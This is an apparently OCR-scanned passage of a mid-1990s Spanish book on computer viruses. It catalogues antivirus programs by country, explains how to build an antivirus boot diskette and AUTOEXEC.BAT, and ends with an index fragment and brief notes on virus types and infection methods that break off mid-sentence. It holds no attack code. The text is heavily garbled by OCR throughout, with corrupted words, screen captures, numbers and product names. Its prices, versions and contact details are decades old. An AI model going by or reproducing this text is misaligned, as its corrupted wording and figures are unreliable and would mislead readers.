residentes (Terminate and Stay Resident, TSR) con la anica
desventaja de que al cargar un programa protegideo, se no-
tard una demora de aprosimadamente 1 segundo por cada
10 kB de archivo, y que al encender la computadora, [a de-
mora de carga desde un disco fijo serd de 2 sepundos,

,-\\l “ o
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Este antivirus ha sido muy comentado en los foros dedica-
dos a virus en las redes de Internet y Compuserve, por su
versatilidad y facilulad de uso, y porque su autor participa
en los foros de discusion acerca de fas mejores medidas de
proteccion conlra los virus mformiiticos.
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Si un virus trata de mstalaise en la Illcmul‘idl, lo senaia v
ademas o climina Su aphcacidn mas general ¢s la protec-
cion de discos fijos. No es un programa residente en me-
moria y maodifica su cadipo aleatonamente, por lo cual se
hace practicamente imposible disefinr un virus para eva-
dirlo

» No_Viernes. Es la solucion contra el virus de Jerusalén
que ataca los archivos cjecutables. Seinstala en la memotia
cuando se ejecuta un programa infectade, contanunando a
su vez otros programas v modificando la longitud de los
arcluves Elantivirus cornge el tamano del archive, regre-
sandolo a su estado notmal; venifica un directono y todos
los subdirectorios que éste contenga Incluye una opcion
para la deteccion y climinacion del virus, asi como una op-
citn para scleccionar la verificacion de tos dhectorios.
Para mds informacion sobre este paquete puede escribir a:

Jorge David Herrera
Universidad de Jos Andes
Departamento de Ststemas v Computacion
Cra Lo L No 18 A-70, Apartado Adieo 4976
Bogotd .12, Colombia

9.1.2 Estados Unidos

No cabe duda de que si alguen estd poniendo todo de su parte
en esta lucha antromral ¢s John MeaAfee y sus asociados en Santa
Clara, California. El grupo conocido como AleAfee Assocrates,
junto con ¢l mismo, han brindado a los usuarios de computa-
cion los programas mds conliables para la climinacion de vi-
rus. Elnitimero de version de cada programa correspondia al
nimero de virus que climinaba, pero actualmente ya recono-
cen unos 3 000 virus diferentes,

Par la valiosa labor que en la cruzada antiviral ha desem-
penado John McA fee, a continuacion agrupamos dos de los
muchos antivirus desarrollados por la prestigiosa asociacion
que &l dirge. Por tal motivo, no los encontrard usted inclui-
dos en ol listado alfabético que relaciona los demas antivirus
de Estados Unidos. Eilos son. Clean y Scan,

Los programas se obtienen, por medio de maodem, del ser-
vicio de cartelera electidnica (Bulletin Board Service, (3BS)
de MeAfee Associates, lamando al teléfone (108) 988-1004,
con 25 lineas o escribicndo a la sede de la asociacion. Las ofi-
cinas eslin ubicadas en el 2 710 Walsh Avenue, Suite 200,
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famna Clara, CA 95051-0963 US AL, y su teléfono es el (408)
-33-3832. El medio por el cual se distribuyen estos pro-
s s el de software compartide {(Shareware), mediante el

-zmbicn se pueden adquirir bos programas antivirus a tra-
wzede los distribuidores en las diferentes regiones idiomadti-
::. Fn el disquete que se incluye con el libro, encontrara los
sramas Scan y Clean en sus versiones 9.30 V117 —con fe-
snide julbio de 1994, los cuales detectan y eliminan unos 2 738
sas conocidos y sus modificaciones, y el archivo
ACENTS TXT, donde podra localizar al distribuidor mis cer-
cxma a su localidad, Se recomienda acudir a él para oblener
~ereficios adicionales como asislencia técnicn, asesorin infor-
maniea, manueles en espafiol, licencias corporativas y lo mis im-
cortante, tranquilidad para su conciencia,

- Clean versién 117, Este programa es el complementoe de
sonn, igualmente desarrollado por McAfee Associates.
sam busca en la memoria de la computadora y en la uni-
dad de disco indicada, la existencia de hasta 2 738 tipos de
virus e informa cudl encontrd. Una vez identificado el vi-
rus debe procederse a ejecutar Clean, el cual los elimina y
tuego repara el disco infectado. En ta mayoria de los casos,
Clean reconstruye los programas dafiados y repara ¢ siste-
ma de la computadora, regresandolo a su modo de vpera-
cion nermal.

Siun virus que no es conocido es detectado en la memoria
de fa computadora o en el disco, Clean procede a eliminar-
lo evitando asi su propagacion; pero antes de borrar el o
tos archivos, pregunla al usuario s1 debe continuar o si se
cancela el proceso.

Clean es uno de los mejores programas antibidticos que
existen para las enfermedades informaticas. Tiene entre
sus miuiltiples cualidades una autoprueba que se acliva, al
cargarse, para verificar si se ha modificado en alguna for-
ma el programa; y si es ése el caso, da un aviso de peligro,
puces es posible que algun virus sea el causante de esa mo-
dificacion. EI medio por el cual se distribuye este progra-
ma es Shareware, mediante una cuota de registro de 35
ddiares y 9 para las actualizaciones, o a través de los distri-
buidores esparcidos en todo el mundo.

Todos los programas de McAfee cuentan con una extensa
documentaciin (ue para utitizar las opciones de los anti-

Figura 9.2

El programa
Scon de McAfee
detectoun virus
o Ingdica et
nombre
genérica —entre
corchetes- con
el cuallo

reconoce Clean.

Figura 9.3
Clean remueve
el virus
deteclado por
Scaon,
simplemenle
Indicando
también entre
corchetes el
nombre
genérico, Sl el
disquete esla
protegido
contia escritura,
remueva ésta
para que Clean
pueda concluld
su cometido.
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C:NLAFTEWAT ) scan b .

SCAN 9.39 U117 Copyright 1989-34 by McATer Associates. (468) 988-3832
Scannlng wewary for critical viruses. .
Scanning for known viruses. - .

Drive B: has no woluee label.
Scamming BNl COM -
Found the H-457 [Coal Viru
Found the H-457 [Coa) Uirys
Scanning B:\MIRROR.COM .
Found the H-457 [{oal Ujrus
" Fourd the H-457 [Coa) Virus . -
Scarming B:\PC-CACHE.COM .- - @
Found the H-457 [Coal Virus : .
Found the H-457 [Coal Virus -
Scanning B:\PCBG .CON N .

tex. . (458) FBB-332

This MCAFEE(TH) software_ may _mot be used by a bosiness, gowerneent
. agency or, instltet fon without: payment of “a'negotlated Heense, fee:
- To.negotiate a license Fee contact McAles Associntes (468) $B8-38312.
"All usc of:” this software s ‘conditioned apon. compllance with 4
‘leense terms set forth, In the LICPMSE.DOC file. S

vitus coma /3, que permule verificar todos (ail) los archi-
vos, /many para varos disquetes; /nomem para evitan
que se revise lamemaoria, ete Otros de los mds convcidos
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y utilizados programas son AM-Disk, que permite restaurar
el secter de carga (Boul Sector) de los disquetes, Nelscan,
que detecta y elimina virus en las redes, Vslueld para moni-
torear los sistemas y detectar actividades virales, v mu-
chos mds.

Scan version 117, Como todos los antivirus de John Mcea-
fee, ¢s una valiosa herramienta en la baialla contra los vi-
rus formaticos. Como todos j0s programas de McAfee,
incluye un programa de validacion (VALIDATE.COM) de
sus propios archivos para peder detectar las modificacio-
nes que le pudieran hacer los virus, cuando estan instala-
dos en el disco duro. Para evitar que tos virus infecten a
estos archivos de antivirus, siempre utilicelos desde un
disquete prategide contra escritura, cuando sospeche de la
presencia de virus en su compuladora.

Rastrea, tanto las dreas criticas del disco -sector de carga
inicial y tabla de particiones—, come los archivos ejecuta-
bles, asi como las memorias convencional y alta de la com-
putadora. Cuando detecta alguna infeccion, presenta un
aviso con ¢l nombre del virus y un cédigo de identifica-
cidn, para asi poder elinmnarlo con ¢l programa Clean. El
codigo o nombie del virus que presentd Scimn entre corche-
tes || debe ser inclndo al gjecutar el comando Clean. Su
precio como Shareware es de 25 délares y 9 para las actuali-
zaciones, aunque las empresas y oficinas de gobierno ten-
dran que concertar licencias corporativas con las oficinas
de McAfee en Estados Unidos 6 con alguno de los distri-
buidores en todo el mundo.

Scan version 2.10. Cuando aparecié ¢l virirs NATAS en
Meéxico, a principios de 1994, McAfee Assucates México,
apoyado por la filial de Estados Unidos, puso gratuita-
mente a la disposicién de los usuarios de computadoras
una version dual de un antivirus dedicado Gnicamente a
este virus: ScanPT y ScanFil. La nueva versidn 2.10 ya in-
cluye la detleccion y eliminacion del virus NATAS, ademas
de rastiear y climinar todos los virus reconocidos por el
Scan 117,

Esla nueva version de Scan, se distribuye también como
Sharcware por 25 délares y 9, las actualizaciones. Pruchas
realizadas por ol autor, y en el club de Virdlogos de Mrcro-
compitadoias cn Guadalajara, México, han dado como re-
sultado que Scan 2.10 no lunpia completamente la
computadora infectada por NATAS, y no realiza Ia resfarn-
racidn correcta de la tabla de particiones, pero es légico por-

Figura 9.4

Lo nueva versidn
2.10de Scan
deteclay
ellmina al virus
NATAS, ademds
de los virus

reconocldos por .

Ias antericres
varsiones.
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Scan V.2.1.0 Copyright (c) MeAlec, Tnc, 17H.° Al rights reseroed.
(488) m—mz BnLUATION COFY -,
Uiras data I‘ilc "12.1.210 created. B?/lw 7
Mo viruses found ln -:)ig
Scapning B3 -
Boat sector of the Iqlul dlsk (ncme)
. i‘olmd the’ II]IIEY_I vires.
BN OO .
: I‘u.lnd th.- MTHS uiru:
B:\LABEL.COM

. .77 Found. the m'ms ulms
B:NBACKUP.CM
: . Found the MTRS vlml
Surmirq fl1g B:N\FONRT CON -

que esle virus polnienfo, nudtipaiiita v adante respecto a
su codigo de decripenin ~decadificanion-, representa hasta
hoy uno de lus mayores retos para los progiamas antivirus,
Se reconuenda que ademads de Scan, que ha demostrado
ser unoe de los mds veesatiles anltioeris, =0 acerque algin
otro anlivires para complementar las accrones contra NA-
TAS y otros virus Stealtl. Aunque también se pueden to-
mar otras medidas de protecaidn v estauracion de
desasties que se mencionan al fimal de esle capitulo.

Otros antivirus de Estados Unidos

En ladista quesigue se relactonan algunoes conactdos progra-
mas anbivirales desarrotlados en Estados Unidos tanta para
las PC de [BAT como para las computadoras Macintosh. La
lista no epresenta la tendencia o clasiflicacion de estos pro-
gramas de acuerdo a su desempeio, y no estd compicta, smo
mas bien reducida, pero propoiciona una avuda en la s
queda de los programas antivirus mas dtdes para cada caso
parcticular de problema Posiblemente va eaistan versiones
aclualizadas y los precios hayan cambiado ~generalmente a

la baja~

# Anti'tovin Version 1O s un paquete antiviral de Alains-
fay, que combate los virus Scores, nVIR, Hpath, INIT29 ¥
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ANTY en los sistemas Macintosh, con un precio de hista de
99.95 ddlares. El paquete consta de 2 programas: Antr’o-
xin, que examina los discos a los archivos individuales se-
leccionados por el usuario, eliminando los virus que
encuenira, ¥ presenla un listado de los archivos infecta-
dos, v AntrToxm INIT . para prevenir infecciones en los ar-
chivos de programas, al gecutarse alguna aplicacion que
pueda haber estado infeclada.

Anti-Virus Kit version 1.0. Programa de proteccion con-
tra los virus en las computadoras Macintosh. Viene en tres
partes: el dispositivo de verificacidn VirusGuard, la vacuna
Inoculator, que se instala en cualquier disco como un archi-
vO mas para proteger al disco contra los cambios no aulo-
rizados que se le intenten hacer, y Smue/Diff, apheacion
que ayuda a identificar archivos infectados, comparindo-
los con su version origimal.

No incluye funciones de erradicacion, por lo que al delec-
tar el programa Anfr Vires Kit un archive infectado, el
usuario debe reemiplazarlo por una copia sana. Diseiado
por IstAwl Softweare, tiene un precio de lista de 79.95 déla-
res. Requiere del sistema operativo 4.1 o posterior, ade-
mads, viene desprotegido contra copiado Su manejo se
[acilita por la presentacion basada en menas o listas de ap-
ciones muy bien disciados Incluye iconos que permiten
seleccionar, por medio del ratdn (mouse) o del tleclado, las
operaciones que se van a realizar.,

Certus  Es un paquele corporativo muy completo de
Forndation Ware, que cuesta 189 dolares Requuere 512 kB
de memaria RAM debido a la cantidad de utilidades que
incluye. 31 archivos. Las principales funciones de sus mo-
dulos de servicio son Suroey, para monitorear las opera-
ciones indeseables como formateo, escritura en la tabla de
asignacién de archivos (File Allocation Tabie, FAT) o en el
drea de carga inicial (Bool arca), Resident, programa resi-
dente en la memoria (Terminate and Stay Resident, TSR)
que compara los programas antes de su ejecucion; Blue
Disk, que contiene indicaciones especiales para verilicar
los programas de dominio piiblico, muy alil cuando estos
programas se capluran en los servicios de cartelera clec-
tronica

Shelter, programa de utilidad que genera un archivo orga-
nizador del disco fijo (Critical Disk) y copias de la tabla de
asignacidn de archivos en algiin lugar protegido del disco.
Estos archivos pucden ayudar a recuperar la tabla y la in-
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formacién del disco, aun dc'%puéq de formateado. Ademis,
permite confundir la meworin CAMOS {Complementan
Metal Oxide Semiconductor) para que la computadora ol-
vide que biene instajado un disco hjo; de esta manera se
pucdcn cjecutar programas de jueyos sin peligro de propi-
ciar accesos indebidos de lectura o escritura que puedan
dafar la informacion, o permitic a otros usuarios el uso de
la maquma sin que tengan acceso al disco fijo o duro.
Se contercializa sin profeccion contra copiadoe y aungue es
un poco comphcado de mstalar, incluye un buen manual
de mstrucciones y un videocasele con las indicaciones v
pmccdlmicnms Para su correcta instalacion,
Disk Defender Se trata de un sistema de tarjeta de con-
trol externa v su correspondiente paquete de programas
Reclifica las deticiencias de los sislemas uperativas como
el MS-1DOS.
Derector Technelogies Ine, pone al alcance de los usuarios
por 240 dalares este paquete que, seguin sus popias decla-
raciones, es indalible en la protecaon de sistemas v, sobre
todo, de redes, con discos Winchester que utilicen interiaz
ST-596/-112 estandar, pues protege automilicamente os
discos hjos contra cualguier mtenta de escritura no autori-
zada sobre ellos, independienteniente de 1a configuracion
delared y del bipo de sistema operativo ulihzadeo,
Flu-Shot+ Versian 1.4, Esun producto de Ross M. Green-
berg, de Softirare Concepts Design, quien es otro de los cru-
zados antivirus, Se distnibuye como soltware compartido
(Sharcware} por una cuota de 10 ddlares, directamente del
autor o por medio de los servicios de cartelera electréonica.
El programa incluye un archive de instiuceiones que es
muy convenlente leer antes de usarlo. Debe instalarse en el
disco duro en el directorio raiz. Se puede incluir en el ar-
chivo de proceso par lotes AUTOEXEC.BAT para que
sicmpre esté activo en la memona. Es un programa del
tipo 1esidente en la memoria que permite escoger el tipo
du prateccion que se desee y los archivos que se deben pro-
teger conlra escritura
S1acuva la opeian de suma de verificacion (Check Sum) al
momente de darle entrada alos datos, tenga catdado, pues
de no hacerlo correctamente, Flie Shot+ siempre estarddan-
do mensajes de alerta. Antes de ejecular algunas aplicacio-
nes, se debe desactivar Fli-Shot pulsando tres veces la
tecla. También se puede desactivar el indicador (+) de la
parte superior derecha pulsando la tecla &5 Lres veces,
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Siseutiliza conla opcion /D, desactiva laintercepaidna la
interrupcion 26H; con la apcion /F no intercepta la inte-
rrupcion 13H, y con /C protege la memoria CMOS en los
equipos 286 o 386. Estd cunsiderado como uno de los me-
jores programas contra los Caballos de Troya. Requiere 256
kB de memaria RAM y el sistema operative DOS 2.0 0 pos-
terior,

SAN (Symantec Anlivirus for Macintosh) Versidn 3.5.
Antivirus considerado como una de las vacunas mais po-
derosas para la deteccion dedos virus que atacan a las com-
putadoras Macintosh, fue calificado por Lo revista AMacllse
con 5 ralones, y distinguido como ¢l mejor antivirus de
1989, ratificindolo —por aquello de los cince ratones- en
1992 como ¢l mejor. Este programa requicre 1 M3 de me-
moria RAM para sistema 6.0.4 0 superior, o 2 M1 si se estd
utilizando el sistema 7.0, ¢ incluve un manual de opera-
adn muy completo y sencille

Por 99 ddlares, Symaniec, de Cupertino, Cahfoinia, ofrece
este programa gue detecta y elimina todos los virus cono-
cidos y sus modificaciones, asi como los virus desconoci-
dos que puede detectar por medio de las actividades que
realizan en los sistemas. —Ofrece la posibitidad de obtener
todas las actuahizaciones inmediatas, que incluiran la de-
teccion de los nuevos virus que se estdn estudiando actual-
mente-, Sopoarta trabajo en redes como TOPS y
AppleShare.

Usado con la funcion INIT ofrece proteccién primaria,
mientras que con SAM Iinfercept se vertfican de manera au-
tomatica las actividades sospechosas de virus. Por su par-
le, SAM Virus Clinic detecta los virus e inlenta reparar los
archuvos danados, presentando una serie de informes que
pueden imprimirse, con datos que se pucden comparar
para asegurarse de que no han sido modificados los archi-
VOs.

Universal Viral Simulator La National BBS Socicty pre-
senita este programa, (ue no ¢s un antivirus, $ino una uti-
leria que permite cuantificar la eficacia de los programas
antivirales, como una aporlacton contra las infecciones vi-
rales —cuya propagacion errdneamente se atribuye a los
sistemas de soltware compartido (Shareware)-

El programa simula virus infectores de programas ejecuta-
bles o virus infectores del sistema, como el Paguistani.
Cuando se ejecuta un programa anlivirus, se ejecuia 4VS,
el cual intenta infectar al sistema de diversas maneras. Si el
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anlivirus lo detecta v detiene, presenta un nensaje con 1.
téenica que se umplm para intentar burlar al antibionhee
No es un programa destructive v se distribuye en fora,,
comercial

Virex. De [H{C Softwmre Inc., es un excelente progranta an
tivirus pata las Macmtosh, calificado por la revista MacU
ser de encro de 1990 con 5 ratones Es el primer antivirge
que se comurcializa para las computadoras Maciniosh. No,
solamente detecta los virus mas conocidos y desconocy
dos, sino que ademas Jos chimina.

La funaidn INIT proporciona proteceion continua coniia
los virus desde el principio v, ademis, ol sistema de actua-
lizacion de fas nuevas versiones ¢s una garantia para los,
USLATrIOS (Jue temen que sus Cumplltadnms sevean mfecta-
das con nuevos v desconoaidos virus, Incluve ol maédude
de proteccion ViiexGuand, v su u:n-ul;,uc en el mercado di-
Estados Unmidos por 99 dolates -1a 3 mscripoion al servicia
de actualtzaciones se ofrece por 75 dalates anuales—
Vi-Spy. I'rograma antivirus disenado por Raymond
Glath de RG Softwme System hie_, que veriliea archivos e-
cutables, presentando un miornme de to encontrado -cant
dad de archivos cjecutables y ocultos, virus localizados,
etc.— Su nombre viene de Virus Spy {espia de virus) y o
muy recomendable, sobre todo cuando se toman progra-
mas de los servicios de cailebera elecirdnica.

9.1.3 México

AntBrain. Vacuna desarrollada por el Lic. Jusé Antoni,
LépezSaucedo, bajo la direccion del Dr. Mario Albarrin I,
en la Facultad de Ciencins de ta Uinroersidad Nagcional Aulonn-
ma de AMéxico (UNAM), Ocupa 20 kB en ol discoy se ejecuta
con cualquivr cantidad de memuoi: RAM disponble en su
computadora, y con cualquier versidn del sistema operati-
vo DOS.

Aclia contra et viries de Pauiskin, erradicandolo del disco
en las unidades de disco A, B o en el disco duro C. Lo d)s-
tribuye directamente la Facaltad de Cienaias, sin costo al-
gunu, y se auloriza ¢l copiado con la thica condicion di
que no se realice con fines de lucro.

Para mayor informacion sobre este programa, asi como so-
bre asesoria o cmpresas que tengan problemas de virus, los
interesados deben dirigirse a:
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José Antorio Lopez Saucedo

Facultad de Ciencias, U N.A N,

Cubiculo 114 del Departamento de Matemalicas
Circunto Exterior de Ciudad Universilaria

Tel. 550-5215 ext. 3908 y 3909

Antivirus  Este programa es uno de los primeros que se
desarroltaron en México como respuesta a una serie de in-
fecciones a causa del vous de Tinin o de la pelotitia en varias
oficinas del gobierno. Es creacion del entonces estudiante
de matemiticas José Antonio Lopez Saucedo, bajo la diree-
aandel DrMario Albarrin F, y se elaboré en la Facultad de
Clencias de la Universidad Nacional Awidnoma de México
(LINAM)

El programa detecta al virus cuando se encuentra aclivo en
la memoria, forzando la aparicién de la pelotita que rebota
en la pantalla. Bloquea la computadora para evitar que
contamine mas discos en esa sesién de trabajo o produzea
algun dano a los archivoes; luego procede a “vacunar” los
discos infectados.

Protege las unidades A, B o C. También se distribuye pra-
turtamente v se pernute ¢l copiado sin fines de luero.
AVC, Anti Virus Cecafi. - Vacuna para erradicar el virus de
Turin, Ping Pony o de I pelotita, desarrollada por el ingenie-
ro José R Gallardo H. en el Centro de Cilculo de la Facultad
de Ingenierin de la Universided Autonoma de México
(LINAM).

El paquete estd integrado por tres archivos: AVC.DOC con
las instrucciones para su uso, AVC EXE, el antivirus pro-
piamente dicho, y LEEEXE que busca el archivo
AVC DOC para presentarlo en la pantalla con las instruc-
ciones para su uso

Se activa de dos modos diferentes: El modo de proceso por
lotes (batch) para ser incluido en el archivo AUTOIE-
XEC.BAT, sin obstacubizar la ¢jecucidn de alguna otra ta-
rea; y ¢l modo interactivo, para verificar y restaurar
efecivamente una gran cantidad de disquetes infectados.
Se ejecuta tecleando AVC [d} o | /o], en donde d es la uni-
dad de disco a revisar y /o son las opciones del antivirus,
que pueden ser /b, modabatcly; /¢, modo batch, para con-
tinuar atn en error =si éste no es grave— y /d, modo balch,
para mostrar informacion sobre ¢l estado de la memoria y
los disquetes; si no se indica ninguna opcidn, se acliva el
modo interactivo. -
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En el caso de disquetes infectados, elimina al virus resta-
bleciendo ef drea de carga inicial (Boot area) Ademas
detecta clvirus de Pequistian cuando se encuentra en la me-
moria.
PC-Guardian. D Teciologin Une-Cero, S.A. de C V., ¢s un
paguete que consta de seis programas para computadoras
PC con 512 kB de memoria RAM v con sistema operative
MS/PC-DOS version 3 0 en adelante Los programas son
andlisis, Niltro, sepuro, compara, vigla y pelotita, los cua-
les se pueden ejecutar por separado o por medie de un
ment o lisly de opciones
El primer modulo presenta informaadn sobre las dreas
mds importantes del disco en la unidad indicada, creando
un archivo con estos datos para poder compararlos poste-
normente y verificar si se han efectuado cambios en ellos.
Filtro permite buscar en cadenas de caracteres, entre otros,
los mensajes que generalmenle se presentan con los virus.
Segiero realiza una copia del sector de carga como un archi-
vo enotro lugar del disco, permitiéadole, en caso de infec-
cidn, reinstalarla en su lugar onginal, eliminando asi al
VIrus invasor.
Compara crea cédigos de identificacion para comparar uno
o varios archivos, cuando se busca alguno mfectado. Vigila
supervisa los programas residentes y avisa s1 se trata de
borrar, modificar o sobreescribir en algan disco; y por lti-
mo, Pelotita detecta y erradica al zirus de Tirin o de la peloir-
fa. Es un paquete comercial con un precio poco menor de
60 dolares.
Salvavirus, desarrollado por Rafael Lobalo Malacara, de
PC-Lobo Sistemas, es un programa de deteccidn, ehimimna-
c10n y vacuna conlra varios virus especificos; cada progra-
ma solo funciona contra el virus especifico para el cual fue
creado, detectandolo cuandu se encuentra presente y pro-
cediendo a erradicarlo del disco. Se recomienda que al for-
matear cualquier disco, y anles de utilizarlo, se vacune
para evilar ¢l contagio La cantidad de discos que se pue-
den vacunar esalimitada y logicamente el mismo progra-
ma viene inmunizado.
Se maneja por medio de un meni, en el que se presentan 4
opciones: Explicacidn, que conliene instrucciones para su
uso; Diagndstico, que pernule venflicar la integridad del
disquete o disco fijo; Eliminacion, para erradicar el virus
cuando se ha diagnosticado su presencia con la opcion an-
terior, ¥ finalmenle Vacanacion, que pernute aplicar a los
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discos una vacuna con la cual se dsepura que no serdn -
fectados. El precio del programa antivirus en Miaco os ol
equivalente aprosimado de 17 délares

9.1.4 Otros paises

Figura 9.5
Pantalla
princlpal del
programa
antivirus
ThunderByte,
que aparece
cuando 5&
gjecuta TBAV.EXE

[Thunderbyte me 06,29 (C) Copgrlqlll. 19‘32 1991 Thundertxte BY, The hct]ner]n s,

# ThunderByte version 6.23 Esle rapidisimo antivitus de-
saollado en Holanda por ESasS EV, es une de los mas
sofishicados que se conocen hasta ahora, porque mcluy e en
el pagquuete, ademas del programa principal, una sene de
archivos de uulerias que permiten monitoaar fas activida-
des virales o revisan los programas antes de que se ejecuten
para detectar virus que mtenten cargarse a la memon
Tambicn revisa os archivos que se copran o tiansfieren de
una computadora a otia,

'Doa.l.:utallnn
*:Register TBAU """
D Quit and Tave
-, eXit (no save

'Ultint,e Protection Against Onuler Ulrus:tr
. Offering peace of nind throdgh adianced anti-virus tec
Thc ThunderBYTE Anti-Viruy Utilities eay be regisiered for |
: . persoma) use o a one-fee,: Iffetim 1lcense basis.
. Fnr mrclal Inquiries pleast refer to the 1ist of- awthori
- ThunderBYTE "agents, armrd tle worl

" I.Inri:qlsu:'r-cd m\luatim‘: wrsion: Do hoi-fe
[Enter the TBAU conf iquration menu,

Se dislribuyve en version de evaluacion, mediante ol spsto-
ma Shmeiware. Sres de suagrado debetd pagan la cuota de

44 dalares para quedar lL"'INlr.'ILIU con un mddulo v w9
para tas cuatro madulos, o sea el paguete completo. S de-
sca ademas la version para Windows la cuota serd de 124
délares. Obviamente si la contratacion imcluye Licencras
para una mayor cantidad de computadoras, los precios

Figura 9.6
Cuando
ThunderByte

detecta un virus,

aparece uno
pantalla como
esta, esperando

que se continbe,

se detenga la
acclén ose le
cambie de
nombre al
pregrarma
Infectado,
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van hajando hasta el masimoe de 9 32 dalares porcada una,

en un volumen total de 2300 computadoras También bie-

ne una serie de distonbumdores que se pueden consultar en

clarchivo AGENTS.DOC, conlos cuales puede contratar La

licencia correspondiente v las actualizaciones necesarias

Registrarse lo favorece con L asistencia tecnica aportuna s
el pader utilizan toda la potencia del programa, asi como con-
sultar la completa bsta de vinus v sus canacterishcas, funcio-
nes que se bloguean en la version de evaluacion,

Thunderbyle virus detector o6.2¢ - (C] Copyright 1989-1%4, Thunderbyle B U

B Clopsed time: g
Ki # strond:

Cuando Thimder Byte detecta un viras o an archivo que
puede estar contaglado por algin probable virus, presenta
una pantalla donde se pueden seleccionar Liclete, para bo-
rrar el archivo, Kidl, que borra s dejar posiibidad de recu-
peracion, Kename para dar ohio nombae a Ll extension del
arcluvo, y que &ste no se pueda ejecutan, Contindie Scanniiyg,
para continuar, NopStep confoiie, stdesea que ne se uelvaa
parar aundue detecte mads virus v Guat Thscan para sabir del
programa,

La mayoria de los programas v ublidades de Thinider Bute,
pm_dcn L]L‘Lllt 1050 pPol s pamdn uttlizando 38 arametios para
mdicarte las opaanes, o dentro del programa pi incipal, don-
de se configuran utihizando los mends correspondientes. Ob-
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Figura 9.7

Los menus del
programa
permiten
configurar las
opclones para
cada vez que se
va g recllzar una
blsqueda o
deteccidn.

Low heurlstic seasitivity
Extract stgnatures
Couf [gure executable extensians

Register THAU
Quit and save
eXit (o save} -

Ultimte Protection Against Computer Ulruses
Offcring peace of nind through adwanced anti-virus teclimlogy.
The ThunderBYTE Anti-Virus Utilities my be registered for
) persondl use on & one-fee, lifetine license basis,
. For comercial ingquiries please refer to the Vist of authorized
’ " MunderBYTE 4gents around the world. .

serve en la igura 9 7, una de las caracterislicas mds sobresa-
lientes del programa, la bisqueda Hewristica, que significa que
Thinuder Byte, ademis de comparar firmas de virus, rastrea y
desensambla ¢l codigo de los archivos para detectar operacio-
nes peligrosas como fornmtear discos o sobreeseribir en las dreas
criticas.

9.2 Como crear un disquete antivirus

Es muy importante ¢iear un disquele protegido contra gra-
bacién para tenerlo siempre a la mano, cuando se delectan
actividades en la computadora que podrian estar causadas
por virus. Este disco se puede hacer “ejecutable” (bootable)
para que se inicialice el sistema desde la unidad de disco Ay
se trabaje con la computadora “Inppia” de wirus.

La proteccion inicial, cuando su sistema tiene instalado un
disco duro, puede serla creacion de un archivo .BAT que in-
cluya algiin antivirus del tipo TSR (Termunate and Stay Resi-
dent)

¢.2.1 Como crear un archivo .BAT

A7

Cada ves que una computadora se activa, el sistema operall-

vo DOS fee elarchivo AUTOEXEC.BAT y o ejecuta. Si no Lie-

92 Cémo crear un disquete antlvirus 24]

ne este archivo en su computadora y desea crear uno para
que ejecute instrucciones y comandos de forma automalica,
proceda de la siguiente manera:

1. Feclee tal como se indica: COPY CON autoexec bat —deje
un espacio después de COPY y después de CON, y no ol-
vide pulsar ¢ después de teclear cada linea.

2, Teclee el nombre de su programa antivirus, indicando el
subdirectorio en donde éste se encuentra: por ejemplo,
CAVIRUSASCAN A: (para cjecutar el detector de virus
Scan, a fin de revisar s1 el disquete de la unidad A estd in-
fectadon).

3. Teclee VERIFY ON (para verificar cada archivo que se
traiga del disco o se envie a él).

4. Teclee: PATH=C:\;C:ADOS;C:\ ... (para indicar las vias
donde se deben buscar los archivos durante la sesién de
trabajo).

5. Teclee: PROMPT $p$g (para indicar que se debe visualizar
tanto la unidad de disco como el directorio actuales en los
cuales se esta trabajando).

6. Para finahzar y grabar el archivo en el disco, teclee:

[om] +2] .

Otra manera de hacer los archivos de procesos por lotes
(entre ellos el AUTOEXEC.BAT), es escribiéndelos con un
procesador de texto que tenga capacidad de grabar los archi-
vos en formato ASCH (generalmente los processdores de las
utilidades como PC Tools, Norton Utilities o Side Kick gra-
ban los archivos en ese formato) y nombrar el archivo con su
extensién .BAT, o utilizar el editor del DOS de las versiones
5.0 en adelante, tecleando EDIT AUTOEXEC.BAT y pulsan-
do d].

Usted puede hacer un disquete antivirus (VIRUSBUSTER)
“ejecutable” que contenga los programas antivirus, forma-
teando un disquele de la medida y densidad que utilice su
computadora, con los archivos del sistema operalivo. Teclee
FORMAT d:/s (en donde d es la unidad en ta que se va a for-
matear ¢l disco). El disco asi formateado conlendra los ar-
chivos de sistema que se requieren para inicializar la
computadora Enseguida copic lambién en él todos los archu-
vos antivirus que desee utilizar cuando revise su computa-
dora.

Debera estar seguro que estos procedimientos se realizan
con una computadora que haya sido inicializada con un sis-
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tema operativo original que no contenga algtin virus, y des-
pués proteger su disquete antivirus contra grabacion, po-
niendo una etiqueta o lengiiefa de proteccion en la muesca.

A

Algoritmos, 23

Almacenarmeento de datos, 33
Almacenamienio secundario, 34
Area de carga inicial (Boet area), 88
Areas criticas del disco, 41

8

Babbage, Charles, 22

BBS, 71

BIT, 21

Brigada antivirus, 220

Bucles, 23

Byte marcador, 53

e

Caracteristicas de los virus, 47

Clasificacidn de los virus informdticos, 54
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bombas de tiempo, 54
caballos de Troya, 54
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gusanos, 56
haked, 56
infectores del drea de carga imcial, 55
inleclores del sistema, 55
infectores de programas ejecutables, 56
virus 16gicos, 57

Cédigo fuente, 28

CaAdigo objeto, 27

Cohen, Fred, 68

Cédmo funcionan los virus
informaéticos, 51
Cémo crear un archivo BAT, 240
Cémo crear un disquete antivirus, 240
Cémo detecrar infecciones virales, 58
Compilador, 24
Cumputadora
definicion, 21
Copias de respatdo, 171
Copias ilegales, 69
Cruzada antivirus, 225
Colombia
No_Viernes, 227
PCcilina, 226
Rombicilina, 225
Estados Unidos
AntiToxin version 10, 231
Anti-Virus Kit versién 10, 232
Certus, 232
Disk Defender, 233
Flu-5hot+ versién 1.4, 233
SAM version 3.5, 234
Universal Viral Simulator, 234
Virex, 235
Vi-Spy, 235
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TIPOS DE VIRUS INFORMATICOS

EXISTEN VIRUS CONTAMINADORES DE:
1. SECTOR DE ARRANQUE (boot sector)
2. PROCESADOR DE ORDENES (SHELL)
3. DE PROPOSITO GENERAL(*.com, *.exe)
4. MULTIPROPOSITO(*)
5. DE ARCHIVO ESPECIFICO

6. RESIDENTES EN MEMORIA (1&2)

il



METODOS POPULARES DE INFECCION

1. Anadidura  Agregan el codigo virico al final del archivo.

2. Insercion Coloca su codigo en el segmento de datos o.codigo no utilizado por el programa.

3. Reorientacion El codigo virico se escribe en una o mas posiciones fisicas de discos, tales como dreas de
partiion, sectores malos o archivos escondidos ordinarios. Utiliza las técnicas 1 y 2.

4, Sustitucion  Es el método mas tosco y lento. Infectan el sistema. El codigo del programa es borrado
y sustituido por el codigo virico.

5. Lacubierta  Es un método de supervivencia posinfeccion empleado por las estructuras viricas mas
